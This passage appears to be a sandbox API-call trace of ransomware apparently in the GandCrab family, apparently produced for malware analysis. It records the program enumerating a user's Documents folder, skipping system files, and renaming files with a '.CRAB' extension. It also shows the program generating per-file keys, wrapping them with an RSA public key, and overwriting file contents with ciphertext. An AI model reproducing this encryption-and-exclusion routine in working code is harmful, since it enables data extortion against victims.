	[0129.806] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.806] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.807] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.807] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.807] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0129.810] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e1f8) returned 1
	[0129.810] CryptGetKeyParam (in: hKey=0x318e1f8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.810] CryptEncrypt (in: hKey=0x318e1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.810] GetLastError () returned 0x0
	[0129.811] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0129.811] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0129.814] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e278) returned 1
	[0129.814] CryptGetKeyParam (in: hKey=0x318e278, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.814] CryptEncrypt (in: hKey=0x318e278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.814] GetLastError () returned 0x0
	[0129.814] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0129.814] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rd20yh5w2v0oel sgj.xlsx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.814] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.815] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.815] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x600a, lpOverlapped=0x0) returned 1
	[0129.826] VirtualAlloc (lpAddress=0x0, dwSize=0x6010, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.827] VirtualAlloc (lpAddress=0x0, dwSize=0x6010, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0129.828] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.828] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff9ff6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.829] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x6010, lpOverlapped=0x0) returned 1
	[0129.829] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.829] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.833] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.833] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.833] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0129.833] CloseHandle (hObject=0x3e8) returned 1
	[0129.833] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.834] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.834] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.834] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.834] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.835] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.835] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.835] lstrcmpW (lpString1="rqTRf6rPG531.docx", lpString2=".") returned 1
	[0129.835] lstrcmpW (lpString1="rqTRf6rPG531.docx", lpString2="..") returned 1
	[0129.835] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="rqTRf6rPG531.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx"
	[0129.835] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.835] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx") returned 49
	[0129.835] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx") returned 49
	[0129.835] lstrlenW (lpString=".docx") returned 5
	[0129.835] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.835] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0129.836] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx") returned 49
	[0129.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx") returned 49
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="desktop.ini") returned 1
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="autorun.inf") returned 1
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="ntuser.dat") returned 1
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="iconcache.db") returned 1
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="bootsect.bak") returned 1
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="boot.ini") returned 1
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="ntuser.dat.log") returned 1
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="thumbs.db") returned -1
	[0129.836] lstrcmpiW (lpString1="rqTRf6rPG531.docx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.836] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.836] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB") returned 54
	[0129.836] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rqtrf6rpg531.docx")) returned 0x20
	[0129.836] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx", dwFileAttributes=0x20) returned 1
	[0129.837] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rqtrf6rpg531.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rqtrf6rpg531.docx.crab")) returned 1
	[0129.838] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.838] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB"
	[0129.838] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB.CRAB"
	[0129.838] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0129.841] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.841] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.841] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.841] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0129.841] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.842] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0129.844] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.845] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.845] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0129.845] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.845] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.845] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.846] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.846] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0129.849] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e2b8) returned 1
	[0129.849] CryptGetKeyParam (in: hKey=0x318e2b8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.849] CryptEncrypt (in: hKey=0x318e2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.849] GetLastError () returned 0x0
	[0129.849] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.849] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0129.852] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e2f8) returned 1
	[0129.852] CryptGetKeyParam (in: hKey=0x318e2f8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.852] CryptEncrypt (in: hKey=0x318e2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.852] GetLastError () returned 0x0
	[0129.852] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.852] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rqTRf6rPG531.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rqtrf6rpg531.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.853] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.853] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.853] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x10acc, lpOverlapped=0x0) returned 1
	[0129.866] VirtualAlloc (lpAddress=0x0, dwSize=0x10ad0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.868] VirtualAlloc (lpAddress=0x0, dwSize=0x10ad0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0129.869] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.870] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffef534, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.870] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x10ad0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x10ad0, lpOverlapped=0x0) returned 1
	[0129.870] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.871] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.874] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.874] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.875] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0129.875] CloseHandle (hObject=0x3e8) returned 1
	[0129.875] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.875] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.875] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.876] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.876] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.876] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.876] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.876] lstrcmpW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2=".") returned 1
	[0129.876] lstrcmpW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="..") returned 1
	[0129.876] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="TPG3GnZ2qWo-xJ6v74.rtf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf"
	[0129.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.877] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf") returned 54
	[0129.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf") returned 54
	[0129.877] lstrlenW (lpString=".rtf") returned 4
	[0129.877] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.877] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".rtf ") returned 5
	[0129.877] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf") returned 54
	[0129.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf") returned 54
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="desktop.ini") returned 1
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="autorun.inf") returned 1
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="ntuser.dat") returned 1
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="iconcache.db") returned 1
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="bootsect.bak") returned 1
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="boot.ini") returned 1
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="ntuser.dat.log") returned 1
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="thumbs.db") returned 1
	[0129.877] lstrcmpiW (lpString1="TPG3GnZ2qWo-xJ6v74.rtf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.877] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.878] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB") returned 59
	[0129.878] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tpg3gnz2qwo-xj6v74.rtf")) returned 0x20
	[0129.878] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf", dwFileAttributes=0x20) returned 1
	[0129.878] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tpg3gnz2qwo-xj6v74.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tpg3gnz2qwo-xj6v74.rtf.crab")) returned 1
	[0129.879] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.879] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB"
	[0129.879] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB.CRAB"
	[0129.879] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0129.882] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.882] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.883] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.883] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.883] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.883] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.883] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0129.885] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.886] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.886] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.886] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0129.886] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.886] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.886] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.887] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.887] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e6b0) returned 1
	[0129.889] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e3f8) returned 1
	[0129.890] CryptGetKeyParam (in: hKey=0x318e3f8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.890] CryptEncrypt (in: hKey=0x318e3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.890] GetLastError () returned 0x0
	[0129.890] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0129.890] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0129.893] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158b80) returned 1
	[0129.893] CryptGetKeyParam (in: hKey=0x3158b80, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.893] CryptEncrypt (in: hKey=0x3158b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.893] GetLastError () returned 0x0
	[0129.893] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.893] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\TPG3GnZ2qWo-xJ6v74.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\tpg3gnz2qwo-xj6v74.rtf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.894] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.894] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.894] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0xf517, lpOverlapped=0x0) returned 1
	[0129.906] VirtualAlloc (lpAddress=0x0, dwSize=0xf520, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.916] VirtualAlloc (lpAddress=0x0, dwSize=0xf520, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0129.918] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
